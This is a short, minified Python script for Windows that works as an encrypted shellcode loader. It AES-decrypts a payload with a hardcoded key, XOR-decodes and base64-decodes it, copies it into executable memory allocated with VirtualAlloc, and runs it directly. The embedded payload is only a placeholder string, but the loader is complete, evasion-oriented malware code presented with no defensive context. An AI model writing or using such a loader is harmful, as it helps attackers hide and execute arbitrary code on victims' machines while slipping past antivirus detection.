import base64,ctypes from Crypto.Cipher import AES kernel32=ctypes.windll.kernel32 def aes_jiemi(s):A='utf8';B=AES.new(b'LeslieCheungKwok',AES.MODE_ECB);return B.decrypt(base64.decodebytes(bytes(s,encoding=A))).rstrip(b'\x00').decode(A) def xor_jiemi(s,key): A='' for B in s:A+=chr(ord(B)^key) return A def write_memory(buf):A=len(buf);kernel32.VirtualAlloc.restype=ctypes.c_void_p;B=kernel32.VirtualAlloc(None,A,12288,64);kernel32.RtlMoveMemory.argtypes=ctypes.c_void_p,ctypes.c_void_p,ctypes.c_size_t;kernel32.RtlMoveMemory(B,buf,A);return B def run(shellcode):A=ctypes.create_string_buffer(shellcode);B=write_memory(A);C=ctypes.cast(B,ctypes.CFUNCTYPE(None));C() if __name__=='__main__':jiami_sc='aaa123456';sc=xor_jiemi(aes_jiemi(jiami_sc),35);shde=base64.b64decode(sc);run(shde)